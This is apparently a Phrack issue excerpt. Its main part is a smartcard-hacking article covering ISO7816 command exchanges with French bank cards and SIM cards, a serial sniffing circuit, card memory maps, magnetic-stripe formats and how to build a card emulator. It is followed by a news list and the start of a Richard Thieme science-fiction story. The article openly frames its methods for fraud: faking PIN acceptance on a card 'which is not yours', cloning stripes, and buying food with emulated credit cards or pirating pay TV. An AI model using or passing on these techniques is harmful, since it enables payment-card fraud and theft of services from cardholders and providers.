7.2 ‑ ALPHANUMERIC

7.3 ‑ BINARY

8 ‑ Synchronous smartcards

9 ‑ Programming a card for ISO7816 purposes

10 ‑ Conclusion

11 ‑ Greetings

12 ‑ Bibliography

Appendix A: Communication log

‑‑[ 1 ‑ Introduction ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All what is written in this article must be used for cracking cards and shouldn't be used to secure already existing application. However, the aim of this article is to show you how to engage the dialog with your smartcards (very useful when you don't have a girlfriend to talk with), and not the way to use already cracked cards.

What you need for studying card is :

‑ THE standard : ISO7816

( http://www.cardwerk.com/smartcards/smartcard_standards.aspx )

‑ a smartcard reader (Phoenix)

‑ optionally a Reader/Writter for magnetic stripes (just for fun).

‑ maybe a Season ‑I will explain later‑,

‑ some bank cards,

‑ and a computer:

‑ Under Linux/Unix : you can check for shcap (www.afturgurluk.org/~ender/)

or try SmartCard ToolKit (http://freshmeat.net/projects/sctk/ )

‑ Under bill's non‑operating system : WinExplorer from Dexter (www.geocities.com/Winexplorer/)

‑‑[ 2 ‑ Dealing with ISO7816 standard ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You will need to refer to this standard. Here we will see how to engage the communication with a smartcard plugged in your phoenix (smartcard reader), which is plugged in your rs232 port. I have put two examples with : a credit card, and a SIM card. If no specific card is mentionned in the presentation of the protocol, it means that the information is valid for all 7816 ISO compliant cards.

‑‑‑‑[ 2.1 ‑ Receiving Answer To Reset (ATR) ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First, you will need to reset the card (with an ioctl, or directly typing 'reset' in a smartcard shell) to boot the card, then it sends a data buffer to identify itself, and to explicit its specifications such as the frequency, the programming voltage, the GuardTime the Convention (inverse/direct)... What is really useful to know is :

The ATR looks like that :

ATR : TS T0 TA1 TB1 TC1 TD1 TA2 ... TDn Tk TCK

TS : 3B Direct Convention

3F Inverse Convention

T0 : gives the number of Historical Bytes (specific to the card)

TD : gives the protocol (mostly T=0 send Word, T=1 send Characters)

Tk : The k Historical Bytes... not really verbose in fact :/

TCK : Just a checksum to verify you have a good ATR...

Nota : If you don't receive 0x3B or 0x3F for TS, maybe you must reconfigure your soft to receive Byte in another convention...

‑‑‑‑[ 2.2 ‑ Sending commands ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The instructions are send to the card via a serial link. The protocol is explained in the standard but is mereley like an I2C without scl. The packets are composed with five parts :

CLA : 1 Byte. ISO Class. e.g. :

BC = french credit cards,

A0 = SIM cards,

00 = Moneo/Open cards...

INS : 1 Byte. Instruction. e.g.:

20 = PIN verification,

B0 = Read

B2 = Read record

D0 = Write

DC = Write record

A4 = Select directory

8x = Encryption with key 'x', the algorithms depends on the card, C0 = Get answer...

P1, P2 : 2 Bytes. Parameters, mostly it's an address to read/write.

LEN : 1 Byte. Length expected for the answer or lenght of the argument

ARG : LEN Byte. Argument you give for the instruction (bytes to write, data to cypher, PIN to verify...), sometimes, the card must answer a byte of aknowledgement ‑depending on the instruction‑ between each bytes in the argument buffer.

‑‑‑‑[ 2.3 ‑ Receiving answers ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To aknowledge to a command, the card send the instruction byte back to the terminal, then a length of datas equal to the parameter LEN of the command, and finish with SW1, SW2. ( 0x90 0x00 when the operation was succesful ). If the operation wasn't successful, then only SW1 and SW2 are sent, with a specific error code :

0x6E 0x00CLA error

0x6D 0x00INS error

0x6B 0x00P1, P2 error

0x67 0x00LEN error

0x98 0x04Bad PIN

0x98 0x08Unauthorized Access

0x98 0x40Card blocked

...

‑‑‑‑[ 2.4 ‑ For example ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here are some examples taken from shcap. You can download it from <http://www.afturgurluk.org/~ender/shcap.tgz> .

But you can do the same with 7816shell <http://freshmeat.net/projects/sctk/>

If you use Shcap :

oops:~/7816/shcap_rel$ sudo ./shcap

Terminal> help

Shcap v0.0.9 by ender <ender@afturgurluk.org>

connect ‑ Connect to the Serial port given with ‑D parameter XX .. XX ‑ Send XX .. XX to the card

log ‑ Log comm between card and terminal (need a season) bf ‑ Try to find ISO CLA byte of the card reset ‑ Reset the card

direct ‑ Set direct convention

inverse ‑ Set inverse convention

cd XX XX ‑ Select directory XX XX

cat XX XX ‑ Read rd_len bytes at address XX XX readrec XX ‑ Read rd_len on record XX of current file get N ‑ Get N bytes of the answer

login ‑ Verify PIN given

cypher XX .. XX ‑ Cypher 8 Bytes

set ‑ Set parameter : cla=XX Set the iso class to XX (default 00) key=X Set the cyphering key to X (default 0) rd_len=N Set the read lenght to N (default 8) timeout=N Set the poll timeout to Nms (default 500ms) help ‑ Display this help

quit ‑ Exit the shell

###### Example with a Bull CP8 mask 4 BO' (french credit card) ###### Terminal> connect

Reset for a B4/B0' :

ATR: 3F 65 25 08 93 04 6C 90 00

Analysing the ATR :

3F ‑ Convention inverse

6 ‑ TB and TC sent (if TD is not sent, the protocol is 0 : send words) 5 ‑ 5 historical Bytes

25 ‑ TB : Programming current : max 50mA ‑ Programming Voltage 5V 08 ‑ TC : GuardTime : 8 * 1/9600Hz = 833us

Historical Bytes

93 04 6C 90 00 ‑‑Note that the 90 00 change to 90 10 after a first wrong PIN code

Reading Constructor Area of a B4/B0' :

Terminal> set cla=bc

ISO CLASS set to BC

Terminal> set rd_len=8

READ LENGHT set to 8

Terminal> cat 09 C0

‑‑Read at $09C0 8 bytes

Card> B0 19 DF 64 08 1F F4 0F B0 90 00

Analysing Constructor Area :

19 DF 64 08 : Card Serial Number

1FF4 / 0FB0 : Free Read area : $07F8 / Access Control : $03E8

90 00 : ok

Signing Data with salt in [07E8] :

Terminal> set key=0 ‑‑Cipher 8 Bytes with K0 KEY set to 0

Terminal> cypherCB 09 11 15 04 16 00 07 E8 ‑‑ARG=09 11 15 04 16 00 [07 E8]

Card> 90 00 ‑‑Instruction ok

Getting response :

Terminal> get 8 ‑‑Get answer 8 bytes

Card> C0 12 4F 54 A3 64 C5 2B 07 90 00 ‑‑12 4F 54 A3 64 C5 2B 07 ok

##### Example with a SIM card for GSM ##### Terminal> set cla=a0

ISO CLASS set to A0

Verifying PIN 12345678 on a SIM :

Terminal> login ‑‑Check PIN 8 Bytes

Enter your PIN code : 12345678 ‑‑The PIN is encoded in ASCII

Card> 90 00 ‑‑PIN ok

Selecting /TELE

COM/SMS/ directory in a SIM :

Terminal> cd 7f 10 ‑‑Select TELECOM dir : 7F 10 Card> 9F 16 ‑‑Dir description, 20Bytes Terminal> cd 6f 3c ‑‑Select SMS subdir : 6F 3C

Card> 9F 0F ‑‑Dir description, 15Bytes

Reading msg (15 Bytes) :

Terminal> get 15 ‑‑Get 15 Bytes

Card> C0 00 00 ** ** 6F 3C ** ** ** ** ** ** ** ** ** 90 00

Reading the 3rd SMS of current file :

Terminal> set rd_len=176

READ LENGHT set to 176

Terminal> redrec 3 ‑‑Read record 3, 176Bytes Card> B2 00 FF .. FF 90 00 ‑‑status = 00, data=0xff..ff Terminal> quit

Well. That's all for the examples...not really dificult, isn't it ?

‑‑[ 2.5 ‑ Your Rights ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SmartCards use some kind of filesystems, so there are some rights (xrw) for the different areas are files. The right to execute is obviously for instructions only...

Generally, for a single‑provider card, there are three levels :

‑Nobody, when you boot the card you are not yet identified... ‑Owner, you are "logged in" when you enter your PIN ‑Provider, there is another code named PUK you can't know. It is used for example when you stupidly block your card, to reset the blocking mechanism.

In a SIM card (at least, the SIM card I have worked on), you cannot read or write if you didn't login. When you enter (the instruction name is verify) the PIN, then you can read, and even write in some files (mostly in TELECOM directory, containing your SMS, your dialing numbers, etc.). In credit cards, which are divided in areas, you need the PIN just to read/write your Transaction Bulletin (at least for french ones... It is also a major security hole if the PIN is not verifyed dynamically by the bank).

‑‑[ 3 ‑ SmartCard Man in the middle ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Something which is very useful for studying smartcards is a Season :

_____________

| |‑‑ 6 |‑‑ |

| Terminal | |‑‑/‑‑‑‑‑‑‑‑‑‑‑‑| Card |

|___________|‑‑ |

|

/ 3 Display ;)

___|__

| Season | 3 | logging: |

|______RS232‑‑>| 3F 16 15 |

You need to connect 6 wires from your smartcard to a Wafer, but only 3 to your computer. If you have read the standard, you now that there is only one pin dedicated to the Input/Output. You also need to connect the ground (useful to have a reference...) and the Reset pin in order to start logging when the card boots. It will permit you to log the dialog between the terminal and the smartcard. This the most common way to analyse a smartcard when you have an access to the terminal, but you might want to study the terminal with a logic analyser awfuly expensive and reverse the results on the screen of your oscilloscope (might sound very silly, but someone did that :p). If for some reasons you don't have any physical access to the terminal, report to next part.

The scheme for a season is quite simple, you can add some LEDs to see what is going on. The MAX232 is here to convert the 5V from the card pins to the 12V of the RS232 link of your computer (or laptop ;).

+‑‑‑‑‑‑

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑+ LED 3mm R1 250ohm|

| 1 _ _16| | ____|/|___/\/\/\__+

| ‑| |_| |‑+ |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ ‑| M |‑‑‑|‑‑‑‑‑+ | Connector ISO

1 | | | ‑| A |‑‑‑+ __|__ |

__|_|_______ 5 | ‑| X |‑ ///// 1 |______ 5

| | | . . ._______ | ‑| 2 |‑ /+_| __+‑‑

\ . . . . / | | ‑| 3 |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+_| |___|

6 \_______/ 9 | +‑‑‑| 2 |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |___|__|_+‑‑

DB9 | ‑|_____|‑ 4 \__|__|__/ 8 | |

| 8 9 +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

__|__

/////

Scheme for a season

ISO Pins DB9 Pins

1. Vcc 5. Gnd 1 2 3 4 5

2. Rst 6. Nc DCD RxD TxD GND

3. Clk 7. I/O 6 7 8 9

4. Nc 8. Nc

Don't forget to add 4 x 0.1uF between pins 2‑16, 15‑6, 1‑3 and 4‑5 of the MAX232. You can refer to the MAX232 datasheet for more details (ascii scheme are not that clear...)

Now you have to log the data, just write somewhere on your hard drive the datas sent and received by the card. You can try this with the 'log' command in shcap, or with the program 7816logger from sctk.

The real problem is to analyse these datas.

* Firstly, the card send an ATR (which stand for Answer To Reset).

* Now that the terminal know the identity of the card, it can send instructions composed firstly of 5 bytes.

* Then the card repeat the code of the instruction and the terminal can send the argument buffer if it is not empty, then the card can answer, * et caetera...

You can try to search the ISO class (sent just after the ATR) and try to indent your log with just this information, and the knowledge of the "protocol" as explained earlier...

After that, you should be able to recreate the behaviour expected by the terminal, excepted for the cryptographic instructions... but this is another problem. You have surely heard of S/DPA (Single/Differential Power Analysis), DFA (Differential Fault Attack) or Time Attack which are the current means for retrieving "easily" the keys stored inside cards. But this is not our topic.

Obviously, if you want to make an attack against a terminal with such a system, you can : by overriding the real card, recording what the card must answer, and processing the answer before replaying. The processing could be used, for example, to make the terminal believe the PIN you entered was the good one (because you are evil and you are trying a card which is not yours), by putting the card in standby and reproducing the behaviour of the card as if the PIN was really the good one...

It only works if the authentification system of the smartcard doesn't need the PIN for generating the certificate, which is not really common. Well, if you can reproduce the authentification, it is not necessary to do such an attack, because you can get rid of the original card, but it is not an easy way ;)

You can find at the end of the article an exemple of a communication between a credit card and a terminal. The datas inside the cards are not always obvious to guess. Generally, you can hope to find an official documentation somewhere, or try to see the changes that happen between each use of the card.

‑‑[ 4 ‑ BruteForcing unidenfitied cards ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When you don't know the ISO class of the card you want to play with, you can bruteforce the iso class. It is not very dificult if your computer is able to count from 0x00 to 0xFF.

By retrieving the error codes from the card, you know the class is the good one because the card send you an INS Error (6D 00), instead of a CLA error (6E 00).

So you've got it. And instructions are public, so I put some examples upper, and others are in the ISO7816, and on the Internet... <http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816‑4.aspx>

<http://www.cardwerk.com/smartcards/

smartcard_standard_ISO7816‑4_6_basic_interindustry_commands.aspx>

To guess the architecture of a card is a different matter. Always try the instruction 0xB0 to see if you can read some addresses, and you'll can interpret the error messages if you cannot read. If the smartcard has got a filesystem, you can verify it with selecting (ins 0xA4) the root directory 0x3F00, and see what is going on. Get the response to see if there are some other directories.

As you know the error code for a P1 P2 wrong (bad address) you also can try to evaluate the capacity of the card: 8ko ? 64 ko ?. It works only if there is no filesystem, like in credit cards... See for examples down here :

‑‑[ 5 ‑ Examples of mapping and filesystem ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ 5.1 ‑ Mapping of old french Credit cards ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bull CP8 mask B0‑B0'

_____________________

$1000 | Constructor area |

|___________________|

$09C0 | |

| FREE READ |

|___________________|

$07F8 | Transaction |

| Bulletin |

|___________________|

$03E8 | ACCESS COUNTER |

|___________________|

$02B0 | SECRET AREA |

|___________________|

$0200 | N/A |

|___________________|

$0000

‑‑‑‑[ 5.2 ‑ File System of SIM Cards ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑GSM SIMcard

3F00 ROOT dir

|

\__2FE2 Card serial Number

7F10 TELECOM

|

|\__6F3A Directory

|\__6F3B Fixed directory

|\__6F3C SMS

|\__6F40 Last calls

|\__6F42 SMS pointer

|\__6F43 SMS status

|\__6F44 Dialing numbers

|\__6F4A Extension 1

\__6F4B Extension 2

7F20 GSM

|

|\__6F05 Language

|\__6F07 IMSI

|\__6F20 Cyphering Key

|\__6F30 Provider selector

|\__6F31 Search Period

|\__6F37 Account Max

|\__6F38 Sim Service Table

|\__6F39 Cumulated calls

|\__6F3D Capability Config Param

|\__6F3E Group ID 1

|\__6F3F Group ID 2

|\__6F41 Price per unit

|\__6F45 Cell Broadcast msg ID

|\__6F74 Broadcast Control Chan

|\__6F78 Access Control Class

|\__6F7B Providers Forbidden

|\__6F7E Location Info

|\__6FAD Admin data

\__6FAE Phase ID

Then, you can log the communication between your SIM card and your mobile phone if you want more information ;)

‑‑[ 6 ‑ Cyphering with smartcards ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All smartcards can cypher or generate a certificate to authenticate itself to a terminal or a provider. Mostly the instructions 0x80 to 0x8F are used to do it. To get the answer, just ask for it with the 0xC0 instruction. Open cards are made particularly to such things. Open means you can find all the documentation you want about it on the Internet (www.opensc.org), so I won't stay on it...

The encryption system in smartcards is mostly to authenticate the card. But all its security do not depends only on the cryptographic mechanisms inside the card. The protocol is generally the weak part of the authentication...

‑‑[ 7 ‑ Magnetic stripe ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Magnetic stripes on smartcards are very common. As this is a completely passive way of authentification, it can easily be cloned. However, it also means that all the difficulty is in the interpretation of the data contained in the stripes and the understanding of the algorithms for cyphering discretionnary data in the case you might want to generate your own card, or just change some information.

You will need for this part of a magnetic stripe reader. It is quite expensive but it is also possible to make its own driver and do it with just a tape recorder. You can try cmread http://www.afutgurluk.org/~ender/cmread.tgz

for a driver on LPT1.

Depending on your software and hardware, you will have more or less easily these informations : the density of encoding, and the number of bits per character. For the number of bits per character, if you have read with the good number of bits without errors, then you have to check the parity bits. Normally, the soft you used to read the stripe is able to to do such a thing, other wise the method consist in :

‑ Take the first bit equal to 1

‑ Check the parity on the first 5 bit

‑ If it is not OK, then try with 6,7,8 or 9

‑ Try on the next pack of [5,6,7,8,9] till the end.

‑ Check the LRC

There are two ways for detecting error, the first is with the parity bits, the second is the LRC for Longitudinal Redondancy Check. The character of the track is equal to the XOR of all characters.

There are 3 different cases easily recognizable :

‑‑‑‑[ 7.1 ‑ ISO ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ISO‑1 (210 bpi ‑ 7 bits) : The stripe is divided in several parts :

‑ '%' Start sentinel

‑ 'B' Format code

‑ Primary account number (your account number on your credit card for example) ‑ '^' Field separator

‑ Name of the owner

‑ Field separator

‑ Expiration date (4 BCD numbers)

‑ Service Code (101 for VISA, ...)

‑ Discretionnary data

‑ '?' End Sentinel

‑ LRC

Example :

% B 0123456789012345 ^ MR SMITH JOHN ^ 9910 101 123456789000000123000000 ?

It is not compulsory exactly like that, but it cannot differ a lot.

ISO‑2/3 (75 bpi ‑ 5 bits):

‑ ';' Start Sentinel

‑ Primary Account Number

‑ '=' Field separator

‑ Expiration date

‑ Service code

‑ Discretionnary data

‑

'?' End Sentinel

‑ LRC

Example:

; 01236789012345 = 9910 101 123456789000000123 ?

Note that the PAN (Primary Account Number) must verify the Lhun Algorithm.

The standard is ISO‑7811 if you want more information...

‑‑‑‑[ 7.2 ‑ ALPHANUMERIC ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It is quite like ISO, but a bit less verbose. You just have the same Start sentinel depending on the number of the track (1 : '%', 2 & 3 : ';'), the same Field Separators, and End Sentinel. Between Start and End Sentinels, you have data coded in BCD or ALPHA separated by the field separator of the track related.

‑‑‑‑[ 7.3 ‑ BINARY ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Keep in mind that there is not necessarily a structure like that. Sometimes bit are put in desorder, as if the designer of the stripe was completly drunk and was playing dice with friends to know what to do... Just use your card and try to understand what has changed.

‑‑[ 8 ‑ Synchronous smartcards ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I just put this part in order to do a complete tour on smartcards. This type of card is very lame, They have a poor capacity (less than 1kb in general), they don't always respect ISO standard for pins. What is sure is that you have 2 pins for Vcc and the ground, 1 pin for the Clock, 1 pin for the reset, 1 pin for the I/O, and sometimes 1 pin for the Vpp (programming voltage) and 1 pin for the Write Enabled.

They don't have an ATR. They just react on negative edges of the Clock pin by sending the next bit (or first if it is reseted) in its memory on the I/O pin. If you can write, you will need a different voltage put on the Vpp pin (up to 21V) and enable the Write pin. Generaly, you just can set a bit from 1 to 0 beacuse of the OTP (One Time Programmable) technology used inside (you just flash a fuse in the chip).

French telephone cards use such a technology (Merci, France TeleCom.) ;)

‑‑[ 9 ‑ Programming a card for ISO7816 purposes ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you can read this line, it is because Phrack has accepted my article without asking me to paste some of my codes to write a bloody tutorial to code your own smartcard emulator using a pic from microchip (www.microchip.com) and then you will need to think by yourself if you are interested in how to write such programs (it is not very obvious...). As I am nice and gentle, I give you the most common architecture :

‑ Send the ATR (On each reset it will restart here)

‑ Wait for the first Byte (ISO class) and verify it is the right one ‑ Receive the second byte and compare it with each byte INS you have implemented, other wise send an error.

‑ Jump to the part of code written for the INS asked for and process the arguments

‑ Then you have 2 choices (The Hacker's Choice is the best :p) : * use an eeprom to save all your datas, and then read and write it in order to complete the instrion asked for by the terminal * use the PIC flash, by writting a list of RETLW 0xXX, determine the offset of the Byte nee

ded and then just add this offset to

the current Program Counter.

Some advises :

‑ ISO 7816‑3 is your friend ;)

‑ Never forget the parity bit to send datas, and also the ACK (or NACK) when you receive

‑ Wait for a ACK from the terminal, if it is a NACK, just send again, and it will works

‑ Write your own code, it will avoid you from silly bugs you don't understand that could lead you in prison in case of problem (big brother is always watching you, you cannot be wrong...)

‑ Don't do too nasty things, work only on an emulated terminal on your computer :p

‑ Google is your friend to find URL for programming PIC‑based smartcards

‑‑[ 10 ‑ Conclusion ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

No need to work in a laboratory to play with smartcards security at an interesting level. Don't believe that S/DPA, or DFA is the only way to study cards. Some of the articles on such methods are written by people who has never seen a glitch generator in their whole life... Eventually you just need an old 486 and a soldering iron to find security holes in smartcard protocols and then buy some food with emulated credit cards, phone friends with a self made SIM card watching numeric tv with a self made viaccess/seca smartcard and enter in almost place protected with smartcard or magnetic cards. Or just keep it for you ;)

‑‑[ 11 ‑ Greetings ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Roland Moreno ;)

‑‑[ 12 ‑ Bibliography ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑PC et Cartes a puce, Patrick Gueule

‑Ender's Game, Orson Scott Card

‑The Hitchhiker's Trilogy, Douglas Adams

‑Discworld, Terry Pratchett

‑‑[ Appendix A: Communication log ‑ old_log.txt (uuencoded) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> ./old_log.txt.uue

begin 744 old_log.txt M("`@("`@("`@("`@("`@(",C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C

end

<++> ./old_log.txt.uue

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack World News

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x10 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ W O R L D N E W S ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Break, Memory, by Richard Thieme

2 ‑ The Geometry of Near, by Richard Thieme

3 ‑ The Feasibility of Anarchy in America, by Anthony

*** QUICK NEWS quiCK NEWS QUICK NEWS QUICK NEWS QUICK NEWS QUICK NEWS ***

‑ Windows source code leaked http://ww.kuro5hin.org/story/2004/2/15/71552/7795

http://www.wired.com/news/technology/0,1282,62282,00.html

‑ grsecurity 'Spender' makes fun of OpenBSD and Mac OS X http://seclists.org/lists/fulldisclosure/2004/Jun/0647.html

‑ These guys have all the books about terrorist/anarchy/combat/... http://www.paladin‑press.com

‑ 29A releases first worm that spreads via mobile network http://securityresponse.symantec.com/avcenter/venc/data/epoc.cabir.html

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Break, Memory

By

Richard Thieme

The Evolution of the Problem

The problem was not that people couldn't remember; the problem was that people couldn't forget.

As far back as the 20th century, we realized that socio‑historical problems were best handled on a macro level. It was inefficient to work on individuals who were, after all, nothing but birds in digital cages. Move the cage, move the birds. The challenge was to build the cage big enough to create an illusion of freedom in flight but small enough to be moved easily.

When long‑term collective memory became a problem in the 21st century, it wound up on my desktop. There had always been a potential for individuals to connect the dots and cause a contextual shift. We managed the collective as best we could with Chomsky Chutes but an event could break out randomly at any time like a bubble bursting. As much as we surveil the social landscape with sensors and datamine for deep patterns, we can't catch everything. It's all sensors and statistics, after all, which have limits. If a phenomenon gets sticky or achieves critical mass, it can explode through any interface, even create the interface it needs at the moment of explosion. That can gum up the works. Remembering and forgetting changed after writing was invented. The ones that remembered best had always won. Writing shifted the advantage from those who knew to those who knew how to find what was known. Electronic communication shifted the advantage once again to those who knew what they didn't need to know but knew how to get it when they did. In the twentieth century advances in pharmacology and genetic engineering increased longevity dramatically and at the same time meaningful distinctions between backward and forward societies disappeared so far as health care was concerned. The population exploded everywhere simultaneously.

People who had retired in their sixties could look forward to sixty or seventy more years of healthful living. As usual, the anticipated problems ‑ overcrowding, scarce water and food, employment for those who wanted it ‑ were not the big issues.

Crowding was managed by staggered living, generating niches in many multiples of what used to be daylight single‑sided life. Life became doublesided, then triple‑sided, and so on. Like early memory storage devices that packed magnetic media inside other media, squeezing them into every bit of available space, we designed multiple niches in society that allowed people to live next to one another in densely packed communities without even noticing their neighbors. Oh, people were vaguely aware that thousands of others were on the streets or in stadiums, but they might as well have been simulants for all the difference they made. We call this the Second Neolithic, the emergence of specialization at the next level squared. The antisocial challenges posed by hackers who "flipped" through niches for weeks at a time, staying awake on Perkup, or criminals exploiting flaws inevitably present in any new system, were anticipated and handled using risk management algorithms. In short, multisided life works. Genetic engineering provided plenty of food and water. Binderhoff Day commemorates the day that water was recycled from sewage using the Binderhoff Method. A body barely relinquishes its liquid before it's back in a glass in its hand. As to food, the management of fads enables us to play musical chairs with agri‑resources, smoothing the distribution curve. Lastly, people are easy to keep busy. Serial careers, marriages and identities have been pretty much standard since the twentieth century. Trends in that direction continued at incremental rather than tipping‑point levels. We knew within statistical limits when too many transitions would cause a problem, jamming intersections as it were with too many vehicles, so we licensed relationships, work‑terms, and personal reinvention using traffic management algorithms to control the social flow. By the twenty‑first century, everybody's needs were met. Ninety‑eight per cent of everything bought and sold was just plain made up. Once we started a fad, it tended to stay in motion, generating its own momentum. People spent much of their time exchanging goods and services that an objective observer might have thought useless or unnecessary, but of course, there was no such thing as an objective observer. Objectivity requires distance, historical perspective, exactly what is lacking. Every product or service introduced into the marketplace drags in its wake an army of workers to manufacture it, support it, or clean up after it which swells the stream until it becomes a river. All of those rivers flow into the sea but the sea is never full.

Fantasy baseball is a good example. It had long been noticed that baseball itself, once the sport became digitized, was a simulation. Team names were made up for as many teams as the population would watch. Players for those teams were swapped back and forth so the team name was obviously arbitrary, requiring the projection of a "team gestalt" from loyal fans pretending not to notice that they booed players they had cheered as heroes the year before. Even when fans were physically present at games, the experience was mediated through digital filters; one watched or listened to digital simulations instead of the game itself, which existed increasingly on the edges of the field of perception. Then the baseball strike of 2012 triggered the Great Realization. The strike was on for forty‑two days before anyone noticed the absence of flesh‑and‑blood players because the owners substituted players made of pixels. Game Boys created game boys. Fantasy baseball had invented itself in recognition that fans might as well swap virtual players and make up teams too but the G.R. took it to the next level. After the strike, Double Fantasy Baseball became an industry, nested like a Russian doll inside Original Fantasy Baseball. Leagues of fantasy players were swapped in meta‑leagues of fantasy players. Then Triple Fantasy Baseball . Quadruple Fantasy Baseball . and now the fad is Twelves in baseball football and whack‑it‑ball and I understand that Lucky Thirteens is on the drawing boards, bigger and better than any of its predecessors.

So no, there is no shortage of arbitrary activities or useless goods. EBay was the prototype of the future, turning the world into one gigantic swap meet. If we need a police action or a new professional sport to bleed off excess hostility or rebalance the body politic, we make it up. The Hump in the Bell Curve as we call the eighty per cent that buy and sell just about everything swim blissfully in the currents of make‑believe digital rivers, all unassuming. They call it the Pursuit of Happiness. And hey who are we to argue?

The memory‑longevity problem came as usual completely out of fantasy left field. People were living three, four, five generations, as we used to count generations, and vividly recalled the events of their personal histories. Pharmacological assists and genetic enhancement made the problem worse by quickening recall and ending dementia and Alzheimer's. I don't mean that every single person remembered every single thing but the Hump as a whole had pretty good recall of its collective history and that's what mattered. Peer‑to‑peer communication means one‑knows‑everyone‑knows and that created problems for society in general and ‑ as a Master of Society that makes it my business.

My name is Horicon Walsh, if you hadn't guessed, and I lead the team that designs the protocols of society. I am the man behind the Master. I am the Master behind the Plan.

The Philosophical Basis of the Problem

The philosophical touchstone of our efforts was defined in nineteenth century America. The only question that matters is, What good is it? Questions like, what is its nature? what is its end? are irrelevant. Take manic depression, for example. Four per cent of the naturally occurring population were manic depressive in the late twentieth century. The pharmacological fix applied to the anxious or depressive one‑third of the Hump attempted to maintain a steady internal state, not too high and not too low. That standard of equilibrium was accepted without question as a benchmark for fixing manic depression. Once we got the chemistry right, the people who had swung between killing themselves and weeks of incredibly productive, often genius‑level activity were tamped down in the bowl, as it were, their glowing embers a mere reflection of the fire that had once burned so brightly. Evolution, in other words, had gotten it right because their good days ‑ viewed from the top of the tent ‑ made up for their bad days. Losing a few to suicide was no more consequential than a few soccer fans getting trampled. 